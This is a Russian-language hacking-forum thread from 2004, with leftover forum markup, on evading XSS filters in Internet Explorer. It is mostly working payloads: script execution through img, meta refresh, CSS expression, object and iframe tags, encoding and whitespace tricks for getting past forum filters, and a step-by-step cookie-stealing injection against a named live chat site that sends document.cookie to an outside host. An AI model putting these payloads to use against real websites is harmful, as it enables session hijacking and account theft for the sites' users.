![]() |
Захожу в инет с разных мест! И постоянно приходится вспоминать разные баги IE...
Может мою доку разместят на antichat.ru (чтобы каждый раз не париться): ------------------------------------------------------------ [b]Тэг img и image работают одинаково (об <image> мало кто знает). </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="1.png" alt="" border="0"> <image src="1.png" alt="" border="0">[/QUOTE]<span id='postcolor'> Слеш вместо пробела. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image/src="1.png"/alt="Подсказка"/border="0">[/QUOTE]<span id='postcolor'> Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0">[/QUOTE]<span id='postcolor'> Спецсимволы в значениях параметров автоматический переводятся обратно. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert("ok")> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert(&quot;ok&qu ot;)> <meta http-equiv=Refresh content=0;url=javascript:alert(&#039;ok&#0 39;)> <meta http-equiv=Refresh content=0;url=&#106;&#97;&#118;&#9 7;&#115;&#99;&#114;&#105;&#112 ;&#116;&#58;&#97;&#108;&#101;& amp;#114;&#116;&#40;&#39;&#111;&am p;#107;&#39;&#41;>[/QUOTE]<span id='postcolor'> Также можно использовать слеш (только в этом случае эти слеши будут частью текста). </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert(/ok/)>[/QUOTE]<span id='postcolor'> Несколько способов запустить JavaScript. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">< script>alert('ok')</script> < script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(eval("alert('ok')"))></span> <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')>[/QUOTE]<span id='postcolor'> Операторы JavaScript из тэга STYLE надо разделять "\;". </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>[/QUOTE]<span id='postcolor'> Как украсть cookie если скрипты блокируют символы < > " ' & ??? 1. Скрипт для отсылки cookie: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src=javascript:location.href='http:\/\/antichat.ru\/cgi-bin\/s.jpg?'+document.cookie>[/QUOTE]<span id='postcolor'> Все / необходимо экранировать, т.к. мы будем использовать unescape(/текст/); 2. Кодируем все что надо (символы которые фильтрует чат, форум и т.п.): </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E[/QUOTE]<span id='postcolor'> 3. Теперь собираем инъекцию (пример из http://www.dmbchat.ru): При регистрации укажите свой цвет как: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">FF z=`[/QUOTE]<span id='postcolor'> Заходим в чат и посылаем: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">` style=`background:url(javascript:top.frames[3].doc ument.write(unescape(/%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E/)))` [/QUOTE]<span id='postcolor'> Как видно, мы не использовали ни одного запрещенного символы! После исполнения кода в 4ом фрейме будет html-код: /<img src=javascript:...>/ Который и выполнит наш скрипт!!! Совет по http://www.dmbchat.ru: Там в списке пользователей рядом с каждым именем есть пагоны (это их звания), так вот – Прапорщики могут банить аж на год =)</b> |
Оформи вразумительно, тогда разместим...
PS только немного нужно подправить кое-что , кое-что добавить... Например в выражении <span style=top:expression(eval("alert('ok')") )></span> функция eval лишняя. А вот про знак / я чесно говоря не знал :) Откуда такая инфа? Сам нашел? |
Да про слеши я сам нашел! Это IE так криво регулярные выражения обрабатывает! =)
Я сделал html-файл со статьей, куда ее послать? |
Все таки этот слеш не всегда заменяет пробел ...
Например такая конструкция работает: <a href=javascript:ins("Dzzz =`")>dddd</a> ` style=background:url(javascript:alert()); </td> А вот такая - нет: <a href=javascript:ins("Dzzz/=`")>dddd</a> ` style=background:url(javascript:alert()); </td> |
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 06 2004,20:58)</td></tr><tr><td id="QUOTE">Все таки этот слеш не всегда заменяет пробел ...
Например такая конструкция работает: <a href=javascript:ins("Dzzz =`")>dddd</a> ` style=background:url(javascript:alert()); </td> А вот такая - нет: <a href=javascript:ins("Dzzz/=`")>dddd</a> ` style=background:url(javascript:alert()); </td>[/QUOTE]<span id='postcolor'> слеши могут заменить пробелы только если значения ограничены (ковычками или апосстрофами) <a href="javascript:ins('Dzzz"/=`')">dddd</a> ` style=background:url(javascript:alert()); </td> |
В принципе если пробелы не проходят, то проходит табуляция..
<a href=javascript:ins("Dzzz =`")>dddd</a> ` style=background:url(javascript:alert()); </td> |
В принципе, если используются регулярные выражения типа "[^\S]", то это отфильтровывает как пробелы, так и остальные non-white-space character, а именно \f\n\r\t\v\x85, т.е. и табуляцию тоже...
|
Кстати, сегодня копался в одном форуме (не скажу в каком http://forum.antichat.ru/iB_html/non...ons/tounge.gif ) , и обнаружил гениальную вещь. Известно, что если между двоеточием и словом javasciprt стоит пробел, то скрипт не работает:
<img src="javascript :alert()"> А вот если перед двоеточием стоит табуляция, то прокатывает на ура: <img src="javascript :alert()"> (после javascript стоит табуляция) или так тоже катит: <img src="javascript&#09:alert()"> А ведь известно, что многие форумы фильтруют именно такое сочетание javascript:. А вот сочетание javascript&#09: как правило не фильтруется http://forum.antichat.ru/iB_html/non...ons/tounge.gif Как результат - форум сразу сдался )) (Спасибо Егорычу за напоминание о табе) |
<img src="javascript&#9;:alert()">
<img src="javascript&#10;:alert()"> <img src="javascript&#13;:alert()"> <img src="javascript :alert()"> Причем можно использовать любое их количество и в любых комбинациях! < script> document.write('<img\13src="javascript:ale rt(1)"\13alt="текст"\13border= "0">'); </script> \13 это символ с кодом 11 в восьмеричной системе. Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit). < script> document.write('<a href=javascript:ins("Dzzz\13=`")>dddd </a> ` style=background:url(javascript:alert()); </td>'); </script> =) |
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE"><img src="javascript&#9;:alert()">
<img src="javascript&#10;:alert()"> <img src="javascript&#13;:alert()">[/QUOTE]<span id='postcolor'> Точка с запятой - лишние. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE"><img src="javascript :alert()">[/QUOTE]<span id='postcolor'> В постингах обычно возврат каретки либо преобразуется в <BR> либо заменяется на пробел, поэтому так обычно не катит. </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">< script> document.write('<img\13src="javascript:ale rt(1)"\13alt="текст"\13border= "0">'http://forum.antichat.ru/iB_html/non...icons/wink.gif; </script> \13 это символ с кодом 11 в восьмеричной системе. Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit). < script> document.write('<a href=javascript:ins("Dzzz\13=`")>dddd </a> ` style=background:url(javascript:alert()); </td>'http://forum.antichat.ru/iB_html/non...icons/wink.gif; </script>[/QUOTE]<span id='postcolor'> Это не катит, потому что работает только в write. А в write можно писать хоть в юникоде, хоть в escape.... |
| Время: 21:58 |